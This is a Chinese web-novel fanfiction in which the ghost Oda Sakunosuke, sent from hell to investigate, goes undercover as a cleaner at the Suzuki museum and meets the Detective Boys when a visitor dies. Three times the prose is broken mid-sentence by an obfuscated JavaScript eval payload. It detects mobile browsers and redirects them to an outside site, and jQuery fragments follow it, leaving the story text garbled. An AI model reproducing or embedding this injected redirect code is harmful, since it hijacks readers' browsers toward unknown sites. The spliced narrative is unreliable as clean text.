《地狱写手织田作》 1. 第 1 章 【我有一个同事,姑且叫他总监吧。虽然已经是亡灵了,但总是戴着墨镜,潮流的墨镜搭配地府狱卒的幽灵服,曾一度在地府掀起穿搭革命,不过最后被鬼灯大人镇压了。比起穿搭,总监的行事风格更新潮,立志要将机械科技化的风吹遍地府每个角落……】 “织田,又在编辑最新一期的地府逸闻吗?这期的主角是谁啊?” 进门的狱卒见织田作之助又坐在桌前,好奇地凑过来询问。 大方地将新写下的内容展示给同事,织田作之助说:“松田希望出一期他的专刊。” 他口中的松田就是文稿中被称为“总监”的同事。 一目十行地看完内容,狱卒撇了撇嘴,指着纸上的内容,不满道:“像织田你这样描写的话,完全就是在夸赞松田那小子吧。” 首先“总监”这个外号就像是在吹捧松田,更不用说后面对那家伙衣品和能力的侧面描写,分分钟吸引一大堆颜控鬼好吗。 “是吗?” 只是如实记录下自己印象中的松田,织田作之助不解地看向同事。 早已习惯于织田作之助天然而不自知的水豚性格,狱卒掰着手指细数道:“入职第一天就暴打顶头上司,地府投诉率连续一年位居榜首,暴力执法程度仅次于鬼灯大人……” 认真听完,织田作之助若有所思。 “这样啊。”他慢吞吞道,“可是松田的受欢迎率也挺高的。” 帅气的容貌,时尚的衣品,率真的性格。站在织田作之助的角度来看,松田确实是个不错的同事。 狱卒:“……” “算了,先不聊这个。”见无法凭一己之力改变地府水豚的认知,他主动转移话题,说出前来的目的。 “鬼灯大人找你,似乎是个外派的工作。” “好的,我马上过去。” 织田作之助光速收整好桌面的纸稿和毛笔,几乎是眨眼间就穿上工作服,带好狼牙棒。 毕竟工作才是第一位,写稿是急不得的。 看着他如此迫不及待地想要离开书桌,前来传话的狱卒扯了扯嘴角。 他其实很不理解织田作之助这样的态度,一边很想用自己的笔书写属于自己的故事,另一边又经常拖稿甚至休刊。 没错,织田作之助除了是地府狱卒,还兼任地府逸闻编辑处处长兼主编,因为他常常拖稿导致每周的内容不够只能休刊,所以地府的大家又亲切的称呼他为鸽之助。 一离开书桌,织田作之助觉得整个鬼都轻快了许多。 当然这样的反应不是因为他讨厌写作,正是因为喜欢,所以一坐到桌前,就控制不住地过度思考,想要用最简洁的文字创造最生动形象的故事,处理大量的信息导致大脑过载,才会出现一拿起笔就无从下手的场面。 松田的故事还是等他再整理下思路后才继续下笔吧。 这样想着,织田作之助感觉心中的负担轻了许多,轻飘飘地朝着鬼灯辅佐官的办公室走去。 这个时间,身为阎魔大王麾下第一辅佐官的鬼灯大人应该是在办公室处理公务。 比如即将召开的金鱼草选拔会、八热地狱的改造事宜、天国发来的请求人手支援的函件等等。 轻轻敲门,得到同意后再推门而入,首先映入织田作之助眼帘的,是堆积如山的文件,和其中一支若隐若现的鬼角。 “鬼灯大人。” 鬼角晃了两下,然后缓缓上升,露出鬼灯的脸。 “近段时间,现世那边的鬼魂量直线上升,这一现象很不正常,而且据鬼口调查发现,少数早在数十年前就该到彼世报道的鬼魂仍然活着。” 拿出一份调查表交给织田作之助,鬼灯起身绕过办公桌,“经阎魔大人和我商榷,决定派你去现世调查此事。” “是。” 本着有工作就好好干的原则,织田作之助应下。 见他这么爽快的答应,鬼灯心里暗自握拳。 看来阎魔大王的担心纯属无谓之举,对方竟然觉得被称为“鸽之助”的鬼会觉得外派工作会影响到创作而婉言拒绝这次机会。 天真。 但作为一名体恤下属的好上司,鬼灯还是关心了下织田作之助的创作进程。 “这次外派时间比较长,逸闻周刊那边会不会受到影响?” 涉及写作的询问一出,织田作之助下意识地视线飘移。不由自主地将鬼灯幻视成天天跟在屁股后面催稿的编辑鬼,他心虚道:“工作更重要,那边的事情可以拖一拖。” 一只活生生的鸽子精出现在眼前。 鬼灯看着鸽之助脸上不自然的神色,虽然他对娱乐周刊持中立态度,但工作狂魔的属性还是让他提醒道:“既然创办的周刊得到了这么多鬼的喜爱,那就好好做。” 织田鸽之助:“……好。” “现在和你说明一下现世那边的情况。”鬼灯言归正传,“有一个名为黑衣组织的国际犯罪集团,他们暗中研发了一种能延长人类寿命的药物,不过这种药物没有大面积投入使用,只有少部分实验体接受了注射,因此逃过了生死的轮回,这部分实验体就是你此次行动的目标之一,任务内容是将早该魂归彼世的实验体送到地府。” 一沓厚厚的材料被放到织田作之助手上。 “行动目标之二,是现世似乎出现了一位未被注册登记的死神,祂虽然没有亲自动手,但死神的影响力导致祂所到之处死亡率大幅上升,地府魂□□满,必须想办法找出这位死神并制止祂的无差别收割。” 又是一沓厚厚的材料被放到织田作之助手上。 “行动目标之三,有一位异能者,原本他属于西方地狱管辖,但近几年频频现身日本,从因果律的角度来讲,他的异能是夺取他人的性命为己用,因此他已经在轮回之外游走了上千年,根据我们的观测,他似乎正在谋划一个颠覆世界的计划,届时会让阴阳两界严重失衡,所以我们必须采取必要措施来阻止这一危机。” 鬼灯说完,织田作之助的手上也多了近半米高的资料。 “以上就是你的任务内容,有什么问题吗?” 织田作之助如实说:“有很多问题。” “……说吧。” “这么重要的计划,我一个人可以吗?” “我已经给你找好了助手,分别是东京的白马警视总监,他会给你安排合适的身份并协助你潜入黑衣组织,以及异能特务科的种田长官,关于那位异能者的相关信息由他负责提供。” 一提到警视总监,织田作之助控制不住地想到了生前暴打过警视总监的松田。这位总监和被松田暴打的那位,是同一个人吗? 还有种田长官…… 虽然织田作之助是一个不会尴尬的人,但他毕竟知道自己的死有部分原因是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285788|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森首领和种田长官的交易,这次的协作,应该不会出问题吧。 见他走神,鬼灯也没有生气,熟悉织田作之助的鬼都知道,对方的工作态度是一顶一的认真。 “还有,因为彼世与现世不可过度互相影响的规则,所以这次只能派遣你独自前往,任务期间切记不能暴露你亡魂的身份,否则有可能引发现世居民对生与死的认知混乱,从而失去对生命的敬畏。” “明白。”织田作之助认真记下。 “说起来,白马警视总监还是松田推荐的。”鬼灯冷不丁地冒出这样一句话。 织田作之助想了想,说:“这就是不打不相识吧。” 或许打了一架导致双方加深了对彼此的印象,那位警视总监也终于得到了松田的认可。 站在松田同事的角度上思考,他丝毫没有觉得松田挑战公权力的行为有些不妥,毕竟在他生前就职的著名港口集团,只要有实力,暴打干部或是首领(前首领)都是可以的。 没能激发织田作之助的吐槽,鬼灯摆了摆手:“好了,这次工作属于长期外派,给你两天的时间交接工作,开始后定期进行汇报,行动期间务必展现我们地府员工的精气神,可别被现世的公职人员看扁了。” 不太懂这种所谓的“企业竞争”,但织田作之助知道这也是上级的要求,自己没有拒绝的权力。 “是。” 从鬼灯的办公室离开,织田作之助没走几步,就遇上了提前下班的松田。 松田率先朝他打了个招呼:“哟,织田。” 初见时觉得对方是个古板无趣的人,但相处过后才发现织田作之助性格稳定、办事牢靠、能力也强,理所当然的,他们的关系越来越好,好到松田主动拜托织田作之助出一期以他为主角的专刊。 “我的故事写得怎么样啦?” 面对这催稿一般的发言,织田作之助顿了顿,平静道:“快写好了。” 没注意到对方脸上一闪而过的心虚,松田自以为他和织田作之助关系不错,应该不会出现拖稿这样的情况,一想到他的丰功伟绩即将出现在全体地府鬼魂面前,就忍不住想笑。 “哈哈,那真是太好了,我很期待哦。” 我很期待哦。 很期待哦。 期待哦。 待哦。 “哦。” 织田作之助面不改色,“不过最近要出差一段时间,我尽量按时交稿。” “出差?” “去现世。” “哦哦,是采风吗?还是交流学习?” 在松田阵平看来,织田作之助生前大概是某不出名小作家、爱锻炼且身手比普通人好一点,让他出差,应该是鬼灯大人又要办什么文化交流会。 织田作之助看了他一眼,平静道:“是一项卧底调查加暗鲨的任务。” 松田大惊。 “这…你…暗鲨?” 为什么鬼灯大人会派一个文艺工作者去执行这种任务啊?!生前曾任防爆警、刑警的松田阵平不理解地想到。 织田作之助还是那副平静到让人崩溃的表情:“嗯。” 毕竟他生前干过鲨手,也曾就职于某犯罪组织,还是异能者,勉强算是经验丰富吧。 话说这次会和异能特务科接触,不知道会不会遇到安吾……还有太宰。 到时候得躲着他们一点。 2. 第 2 章 织田作之助需要交接的工作其实没多少。 涉及到狱卒的部分工作,鬼灯大人早已安排了其他鬼负责。 只有写稿这种事必须由他亲自完成。 所以在两天的时间里,他大半的时间都用来坐在书桌前沉思。 笔悬在半空,每当它快落在纸张上时,就被一只犹豫不决的手重新举起。 【总监的脾气火爆,总是看不惯一些恶鬼欺辱弱者。他的英勇事迹广为流传,仰慕他的鬼为了见他一面,甚至会主动招惹恶鬼。导致一段时间里,总监利用弱势群体钓鱼执法的举报信络绎不绝地送到鬼灯大人的桌上……】 关于松田的特刊只写了两百字左右,其中还包括了撰稿人姓名和刊名。 距离出差还剩一小时不到,织田作之助深深呼出一口气。 没办法了,创作是急不得的,相信松田也能理解。 将写了半页的稿纸装进背包,他从书桌前起身,伸了个懒腰后,迅速收好此次出差要带的行李。 这个时间的地府正忙于接收新的亡魂,提前和鬼灯大人打过招呼的织田背上行囊,精准避开所有松田会出现的区域,带着沉甸甸的任务和稿子前往现世。 —— 时隔几年再回到人间,织田并没有那种重获新生的感觉。 本是鬼魂的他在路上飘了几步后逐渐拥有实体,这是阎魔大王向天国为他申请的人间行走特权。 尽管如此,只要他不主动开口,现世的生者基本上不会注意到他的存在。 狱卒的制式服装随着走动逐渐变化,当织田作之助驻足于某间店铺外时,他身上的衣服已经变成了一件朴素的条纹衬衣。 冥币是不能在现世使用的。不知道是因为地府财政紧张还是其他原因,鬼灯大人似乎也忘了为他批现世出差经费。 为了不露宿街头,织田作之助准备先找一份包吃住的工作。 毕竟他来现世的任务是卧底调查,如果一开始就找白马警视总监或是种田长官,很容易被有心人注意导致身份暴露。 做杀手的时候倒是不需要注意这些,因为他有自信从各种密不透风的防御下取走目标的性命。 总之,先安顿下来再想办法暗中接触两位长官吧。 推开职业中介所的大门,织田往里走去。 现在正是晚餐时间,所以里面的求职者只有两个人。走到旁边的等候区坐下,他拿起一叠招聘海报看了起来。 不过其中一位求职的女士情绪有点激动,声音大到令他无法忽略。 “非常抱歉,但雇主死亡的意外并不是由我造成的,原田先生麻烦您多多替我解释。” 正在咨询的女士双手合十,担心就业的她额角渗出了汗珠。 被称为原田的中介人满脸无奈:“不是我不帮你解释,米原小姐,你自己数数这都是第几次意外了。” 他竖起三根手指:“若松家、伊丹家,还有庄野小姐,这是你第三次和我说你的雇主因意外死亡了!” 说着,他像是想到了什么,一阵恶寒地抱着手臂搓了几下,继续道:“你知道现在业内给你起的外号叫什么吗?” 他顿了顿,大声说:“是死神女佣!” “可这一切也不是我造成的……”女士神情沮丧,语气低落。 “没办法,当前东京犯罪率攀升,大部分雇主为求心安,在聘用女佣的时候,或多或少会考虑玄□□势的因素,而误打误撞遇上三任雇主意外死亡的米原小姐你,很难在这方面得到雇主的信赖。” “真的没有办法了吗?” “我也很想帮米原小姐解决就业难题,但是…诶,等等,我再看看。”原田的一番话让米原小姐眼中重新燃起希望。 他盯着屏幕反复确认后,高兴地说:“刚刚铃木家新发布了一则招聘通告,不过是临时工,只有一周时间,可以吗?” “当然可以!” 原田启动打印机,将招聘通告打印出来,递给米原小姐。 “铃木次郎吉先生准备将此前在欧洲收集的珠宝集中展示,并借此向怪盗基德再次宣战,展览会将在铃木博物馆举办,届时需要新增不少人手24小时值守,保障展览会顺利召开。” 早在原田说出米原小姐 “死神女佣”的外号时,织田便一直默默关注着他们的对话。 虽然不认为自己的运气好到一到现世就遇上鬼灯大人口中的“死神”,但根据原田先生的描述,这位米原小姐确实可疑。 一个既能找到工作,又能近距离观察“死神”的机会出现了!绝对不能放过。 “请问,能让我也看看这则通告吗?” “当然。”中介人就是通过为求职者介绍工作来收取佣金,如果能多收取一份,原田自然不会拒绝。 接过招聘通告,织田很快便看完了其中的聘用要求,适合他这个三无人员的岗位,只有保洁员。 铃木家竟然连保安都要求出示散打证书和服役证明。 “两位看好岗位的话,可以到旁边的写字台上填写求职申请,一个工作日后铃木博物馆会完成审核并向两位发送面试申请。”原田提醒。 “好的。” 织田来到写字台前,拿起笔认真填写个人信息。 姓名。 不能用真名,随便起一个吧。他写下“小野柳吉”。 年龄。 看看保洁员的年龄要求,啊,要35岁以上的,写个37岁吧。织田摸了摸光洁的下巴,想着需要简单做点易容了。 工作经验。 曾就职于某跨国企业,资深保洁。 仔细将每一项内容填写完毕,织田作之助确认无误后将表格拿给原田,交换联系方式后走出职介所。 好在鬼灯大人没有忘记给他准备阴阳两界都能用的通讯工具。拿着手机的织田庆幸地想到。 “那个,小野先生,请等一下。” 身后传来米原小姐的声音。 织田作之助回头,对方叫的是他刚刚起的假名。 “这是铃木博物馆的招聘电话,如果对相关条件和要求有疑问的话,可以通过这个号码询问他们。” 一张写着电话号码的便签纸被递到织田作之助身前。 面对善意的提醒,织田作之助神情缓和,立刻表示了感谢:“多谢,真是帮了大忙。” 米原樱子挠了挠头,不好意思道:“这没什么的,举手之劳而已,对了,我叫米原樱子,希望几天后能以同事的身份和小野先生共事。” 因为前几任雇主家的意外事故,米原樱子一直很担心会被铃木博物馆拒绝,这样说,不光是鼓励对方,也是在给自己打气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285789|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握上对方伸出来的手,一些职业习惯自动冒了出来。 手心粗糙,是长期握持吸尘器和拖把导致的,没有枪茧,握力一般,手腕貌似很灵活。 织田作之助:“你好,我叫小野柳吉。” —— 就算是临时招聘的人员,铃木博物馆也为他们准备了公寓。 一方面是方便大家上下班,另一方面则是为了把人集中在一起好管理。 每个人都有一张定制的ID卡,用来出入铃木博物馆,不同的岗位有不同的权限。 比如米原樱子是展品解说员,所以她能够随时出入展厅。 而织田作之助是保洁,ID卡的出入权限仅限于进入博物馆以及在一些不重要的地方活动,他只能在特定时间在其他人的带领下进入展厅打扫。 距离展览还有一周不到的时间,这天,织田作之助一如往常佝偻着走在保洁队大家的最后,他的身高在保洁队过于突出了,这也是为了不引人注目。 他的的卫生区域是位于展厅后侧的走廊一直到用来存放宝石的保险库,据说那片区域经过铃木次郎吉亲自设计改造,安装了许多防盗机关。 虽然那些机关平常都处于关闭状态,但保洁队的阿姨们都不愿意去这个“危险地带”,于是织田作之助身为保洁队唯一的男士,主动接下了这个任务。 在打扫卫生这方面,织田作之助颇有心得。 小苏打和双氧水最适合用来清理血迹,清洁前务必戴好手套和帽子,避免留下指纹和毛发,墙角和地毯里时常会藏匿某种碎片变成调查的证据,必须对这些死角进行彻底清理。 生前经常替组织善后的织田作之助得心应手。 可惜铃木博物馆既没有枪战,也没有发生杀人事件。 很快这片区域就被打扫干净。 “诶,小野先生!”刚熟悉完解说词的米原樱子从展厅出来,就看到了正在整理卫生工具的织田作之助。 织田作之助抬头,对米原樱子笑了笑:“米原小姐,刚结束工作吗?” 听他这么说,米原樱子举起手中的解说词:“这才刚开始呢。” 直到拿到解说词她才意识到铃木家的财力有多么夸张,从欧洲王室的藏品到贵族的几世传承,甚至不少宝石在这之前都从未面向世人展出。 将解说词小心收好,米原樱子:“小野先生呢?” 将卫生工具都收进推车,确认没有遗漏后,织田作之助说:“差不多结束了。” “老实说,我以为小野先生你会应聘安保之类的岗位。”米原樱子感慨。 “啊。”属于三无人员的织田作之助略感心虚。 “不过安保那边每天都会被铃木先生亲自扯脸检查,上次看到木村先生被检查完后,脸红肿了好久才消掉。” “扯脸?”织田作之助不解。 米原樱子双手分别扯着两侧的脸颊,做出用力向外拉扯的动作,“就是这样,为了防止怪盗基德通过易容混进安保团队窃取博物馆的防盗机关图纸。” 为了符合37岁的年龄,同样做了点易容的织田作之助:“……铃木先生是个谨慎的人。” 不得不承认的是,这个方法简单却非常有效。 织田作之助做出决定:以他的易容手法,接下来必须得远离那位铃木先生。 3. 第 3 章 【织田工作日志:外派的第三天,保洁工作一切正常。经观察,“死神女佣”米原小姐未出现违规收割生命的异常举动。铃木博物馆计划在明天举行预展,我有种不祥的预感……还有,写稿进度不太乐观,特此申请休刊一个月。】 按理说,织田作本人就有宣布休刊的权力,但自从他休刊次数多到阎魔大王都亲自来催稿后,这一权力便被鬼灯接手。 写下最后一个字,织田作如释重负地放下笔。 松田的人物传记需要更细致的构思,身为笔者,他必须用最专业的态度来面对这次的创作。 休刊,也是不得已为之。 内心说服自己放下心理负担,他将信件蜡封好,交给前来收信的乌鸦式神。 “辛苦了。” 式神冲他眨了眨豆豆眼,“嘎嘎”叫了两声后飞走。 工作完成,他拿起手机,翻阅起网上关于怪盗基德的新闻。 这位怪盗在八年前销声匿迹,近期才重新开始活动,目标以稀世宝石为主,但每次成功盗走宝石后,又会将宝石原封不动地归还。 因为其绚丽如魔术表演的手法和归还宝石的行为,在民间积累了大量的人气,甚至像明星一样拥有后援团。 织田作之助不太理解将犯罪分子偶像化的行为,但还是把后援团列入需重点关注名单。 就算只是个临时聘用的保洁,但领取了不菲的薪酬,如果能帮上忙的话他是不会旁观的。 时间来到第二天,铃木博物馆的预展日。 为了正式展出当天能妥善应对各种突发情况,博物馆邀请了五百名参观者提前参观。 早早地将卫生区域打扫干净,织田作之助收拾好工具走到员工休息室。 还有五分钟就到开馆时间了,届时会有大量的参观者涌入,待到参观者入场完毕,他还需要对博物馆入口到展厅的区域进行打扫。 米原樱子所在的解说组全员已经提前去展厅待命了,安保组从凌晨开始就一直在忙碌,所以现在休息室里只有他们保洁组的人。 水豚性格让他和保洁组的阿姨们相处融洽,见织田作独自坐在一边,阿姨们还热情招手让他坐近一点。 “靠近了看,小野先生果然是童颜呢。”阿姨一号说。 “干活卖力不说,性格也很讨人喜欢。”阿姨二号感叹。 “要是我家那位也像小野先生一样就好了。”阿姨三号遗憾道。 织田作:“……” 鲜少与这个年龄段的女□□流,他难以理解为什么寡言少语的自己会得到几位阿姨的赞扬。 但用沉默回应夸赞可是很失礼的。 他思索片刻,张口:“多谢,其实我也有很多缺点。” “能说出这样的话,小野先生已经胜过大部分男性了。” “就是,我家那位就总是挑三拣四,每次下班回家都是丧着一张脸。” “话说回来,小野先生怎么会选择应聘保洁呢?明明长得高大,身手也好。” “因为学历太低。” 织田作之助如实回答。他少年入行,能接触到的只有委托人、同行和目标,显然这些人都不会也不敢劝他去接受教育。 “这样啊……” 无意揭人短处的阿姨有些词穷,好在对方并不介意,正好主管也通过对讲机提醒她们可以进行打扫了,几人便不再闲聊,带上各自的卫生工具离开。 织田作之助按照前期分配来到博物馆入口处。因为刚下过雨,这片区域到处都是脚印和水渍。 正拖着地,一个小女孩急急忙忙地跑过来,没注意踩到地面的水渍,眼看着就要摔倒,织田作之助连忙跨步将人接住。 “没事吧。”织田作之助询问。 小女孩因为差点摔倒,下意识抱住救命稻草一样的胳膊,意识到差点给人添麻烦后,连忙站好向织田作之助道谢:“步美没事,谢谢叔叔。” 织田作之助看着眼前认真道谢的小女孩,说:“在走廊上奔跑,撞到别人或是摔到自己都会受伤的。” “对不起,步美知道了。” 左右看了看,织田作将倒在地上的拖把捡起来放好,握住步美的手:“步美是和家人一起来的吗?” 因为一直没看到小女孩的家人,单方面认为步美和家人走散的织田作决定先帮她找到家人。 让这么小的孩子独自在博物馆里乱跑可是很危险的。 先不说可能被不法分子诱拐,要是被前来踩点的怪盗当作人质就糟糕了。 “不是哦,是阿笠博士带步美还有侦探团的大家一起来的。”吉田步美仰起头回答。 博士、小女孩、侦探团。 三个不同的形象出现在织田作之助脑海。首先是戴着金丝眼镜的学术派长者,然后是一群侦探装的黑发眯眯眼。 因为他这一生见过的侦探屈指可数,其中映像最深刻的就是有过两面之缘的江户川乱步。 好奇怪的组合。 心中这样想着,织田作之助带着小女孩向着人群聚集的展厅走去:“那步美知道怎么联系带你过来的阿笠博士吗?” 吉田步美立马骄傲地将一直别在胸前的侦探徽章举起:“用这个!” 说完,也不等织田作之助反应,就对着侦探徽章喊道:“侦探团的大家,我是步美,听得到吗?” 很快,侦探徽章接二连三地响起其他人的声音。 “步美,你跑到哪里去了?大家都在找你。” “步美刚刚从厕所出来,差点摔倒被一位好心的叔叔接住了。” “步美你先不要离开那里,我们马上就过来。” 对话结束,织田作之助听出吉田步美的同伴们马上就会过来,于是带着她到旁边的沙发坐下。 他的听力没问题,特别是死后五感成倍增强。所以他很清楚地听出侦探徽章中传出的都是小孩子的声音。 那么,步美口中的侦探团,其实是一个由小孩子组成的组织?而那位阿笠博士,就是这个组织的Boss。 他们的目的难道也是展厅里的宝石吗?利用孩子无害的一面蒙蔽安保,确实是个不错的主意。 想到这里,一些不好的记忆浮上脑海。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285790|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没想到看似平和的社会背面,竟然也存在着这样邪恶的组织。 “步美!” 这时,吉田步美的同伴们都到了,领头的是一个带着黑框眼镜的小男孩,看起来和步美年纪相仿,目测只有七八岁的样子。 不过孩子们的目光都很澄澈明亮,和他想象中的形象不太一样。 “谢谢叔叔,这就是步美所在的少年侦探团的同伴们。”吉田步美和同伴们会合,情绪肉眼可见的开心起来,笑着向织田作之助介绍。 “他们分别是柯南,小哀,光彦和元太。” 最后被称为元太的小胖子朝织田作之助一笑,然后他们像是触发了某种底层代码,五个人齐刷刷地摆好阵形,大喊:“我们是!少年侦探团!” 说是五个人有些不确切,实际上移动的只有步美、光彦和元太,柯南和小哀只是静静地站在那里。 虽然什么都没有说,但织田作之助还是从中读到了一丝无奈。 貌似这个侦探团并不是利用小孩子来实现成年人非法目的的邪恶结社。 心中的担忧放下一点,织田作出于礼貌问了句:“你们好,这是学校组织的课外社团吗?” 没想到自己简单的一句询问激起了小孩子们激烈的反驳。 步美:“我们可是专门调查案件的侦探团!” 光彦:“就连警视厅的高木警官和佐藤警官都会认可我们发现的线索!” 元太:“我们侦探团已经解决了好多起命案了!” 织田作:“啊?” 是他死了太多年跟不上时代了吗,怎么小学生都可以参与命案调查了,甚至得到了警视厅警官的认可。 “大叔你可别太小看我们了。”小胖子元太握拳,他推了一把身边的眼镜少年,“你说是吧,柯南。” 被推出来为侦探团正名的江户川柯南满脸的无奈。 “喂,你们适可而止。”说完他转向织田作之助,“抱歉,我们只是在玩侦探游戏而已。” “侦探游戏也包括解决命案吗?” “……那只是偶然啦,毕竟我们只是小孩子嘛。”江户川柯南哈哈笑着说。 盯着柯南,织田作之助看出了说谎的痕迹,微微皱眉。 “命案对孩子来说太危险了,这些事应该让成年人去做。”他陈述着事实,“你们需要帮助吗?” 帮助。 面对织田作之助的询问,江户川柯南愣了片刻。 他的潜意识告诉他,对方口中的“帮助”并不只是简单的帮忙联系家长或者老师,而是更深层面、也更危险的帮助。 可对方只是一名保洁,根据外貌判断大概在35岁以上,衣着虽然整洁但从淡淡的胡茬可以看出此人有些不修边幅。 唯一让他在意的是那双海蓝色的眼睛,平静、包容。 “不用啦,叔叔,阿笠博士就在那边等我们,谢谢你的帮助。”江户川柯南礼貌拒绝,说完就招呼着同伴们离开。 “再见,叔叔。”离开前,吉田步美向织田作之助挥手道别。 “嗯,再见。” 4. 第 4 章 看着孩子们消失在视线范围内,织田作之助回到工作岗位,但想的却是得找个时间了解下这个“少年侦探团”。 他不是爱管闲事的性格,但涉及到孩子,他没办法坐视不理。 这时,别在腰间的对讲机响起。 “小野先生,请带上工具前往中心展厅,有位客人的饮料洒了。” “收到。” 织田作之助迅速按照对讲机的要求,带着拖把和抹布来到中心展厅。 洒了饮料的区域已经被隔离带与人群隔离开来,他熟练地用干抹布将饮料吸干,正要拖地,米原樱子来到一旁协助。 “米原小姐,这里我来就可以了。” 示意米原樱子让一让,转头的间隙,织田作之助才发现对方的表情有些僵硬,定睛一看,不光是表情,连衬衣和套裙都有被沾湿的痕迹。 就像是被人用饮料泼在衣服上一样。 “刚刚,发生了什么吗?”织田作之助问道,突然,他的余光看到有人朝着自己所在的方向扑来,立即带着米原樱子闪身躲避。 “区区一个打工的,竟敢跟本大爷对着干!” 扑过来的人大骂着,同时还想将手中的展品手册砸向米原樱子。 见到连一个清洁工都敢拦他,更是怒不可遏,握紧拳头就要揍织田作之助。 虽然不清楚情况,但根据这些天与米原樱子相处时的发现,织田作之助瞬间反应过来是米原樱子被人找麻烦了。 接住对方抛过来的展品手册,他一把抓住对方的拳头,不动声色地卸掉大部分力道,随后松手后撤一步,看着仪态尽失的男人扑倒在地。 他自认为做得隐蔽,没想到的是这一切都被人群中的江户川柯南看在眼里。 反光的黑框眼镜下是不属于他这个年纪的孩子该有的探究和审视。 闹事的主力倒下,姗姗来迟的安保立刻接管了现场,将出言不逊还想打人的闹事者围起来。 “铃木博物馆就是这么对待客人的吗?”闹事者仍在大喊,“你们几个混账给我擦亮眼睛看清楚,是那个女人把我的饮料碰倒了!” “我说这位大叔,人不讲道理也该有个限度吧。” 旁观了全程的铃木园子反驳道,“明明是你一直色咪咪地盯着别人,还想装作不小心的样子把饮料泼到别人的衣服上。” “你有证据吗?我可警告你不要在这里乱说话。”闹事者恶狠狠地盯着铃木园子。 毛利兰见此向前一步挡住铃木园子,“我们都看到了!” 她话音刚落下,此前被突发事件吓到的少年侦探团成员们纷纷站了出来,为铃木园子作证。 “我们都看到了!这个大叔叔一直想用手碰解说员姐姐。” 与此同时,人群一阵晃动,三个人奋力从中挤出,其中唯一的女性快步走到闹事者面前:“拓也,你冷静一点。” 回应她的却是男人毫不留情挥来的巴掌。 见此一幕,另两名男子立即上前扶住摇摇欲坠的女人,其中一人对她不满道:“明知道对方是个疯子,你干嘛要凑上去挨揍。” 说话的人没有刻意压低声音,所以在场的大部分人都听到了这句话。 瞬间,看热闹的人群默默往后退了几步,给几人留出更大的空间。 闹事的拓也自然也听到,他不但没有生气,反而张狂地笑道:“是啊,本大爷就是疯子,就算哪天杀了你们也不用坐牢!” 说完,他紧盯着躲在织田作之助身后瑟瑟发抖的米原樱子,从口袋里掏出一个药瓶,拧开后倒出几粒药丸在手心,大笑着将药丸塞进嘴里。 一时间,展厅里只剩下男人咀嚼药丸的声音。 “好可怕。”吉田步美抓着灰原哀的袖口,小声说,“那个叔叔会变成怪兽吗?” “别担心,还有……”还未说完,灰原哀见到男人突然狰狞起来的神情后,赶紧捂住吉田步美的眼睛,“不要看。” 而后,刺耳的尖叫声响起。 名为“拓也”的男人在挣扎片刻后倒地死亡了。 期间,安保甚至来不及对他采取急救措施。 “小兰姐姐,立刻报警!”江户川柯南站出来制止了人群的慌乱,“园子姐姐,通知馆方封锁现场!” “博士,帮我保护现场,灰原,你们几个帮忙看人群中有没有神色慌张的可疑人。” 下达完指令,小侦探立刻跑向尸体,谁知半路就被人拎了起来。 一直在观察现场的织田作之助:“小孩子就不要靠近尸体了。” 过后,他似乎觉得这样子没什么说服力,又加了一句。 “会做噩梦的。” 男人的声音很平静,但江户川柯南莫名从中听出了一丝警告,甚至感受到了死亡的气息。 脸上有易容的痕迹,不过手法太拙劣了,也就骗骗步美他们,身手矫健,能看出接受过训练的痕迹,现在又冒出来阻止自己靠近尸体。 小侦探的大脑飞速运转。 他将受害者死前接触过的人一一列出,分别是米原樱子、清洁工,还有与受害者相识的女人。 根据目前的线索,清洁工的嫌疑很大。 可动机是什么呢? 江户川柯南就着目前被拎起来的姿势扭头看向织田作之助。 “对不起,我只是想帮帮那位看起来很痛苦的叔叔。” “他已经不会痛苦了。” 织田作之助将人放下,用身体挡住孩子看向尸体的目光,言语平静。 已经死掉的人将顺从灵魂的指引进入地府,根据他生平的经历判断是再次进入轮回还是打入地狱,从他灵魂离体的瞬间,便无法再感知现世的躯体。 根据那位先生死前的言行,和他魂体上厚重的业障,大概会被判入地狱。 江户川柯南:“……” 话是这样说的吗? “可是……” “这是大人该处理的事,现在你还只是个孩子不是吗。” 听到后半句,江户川柯南犹如被雷劈了一般。 ‘现在你还只是个孩子不是吗?’ 对方仿佛在说:现在的他是小学生江户川柯南,只是个普普通通的小孩子,还不是高中生侦探工藤新一不是吗。 他看向那双看不出情绪海蓝色的眼睛。 这是在暗示什么吗?他知道了什么?这个人到底是谁? 不明白为什么只是陈述了事实,就让对方突然恐惧到说 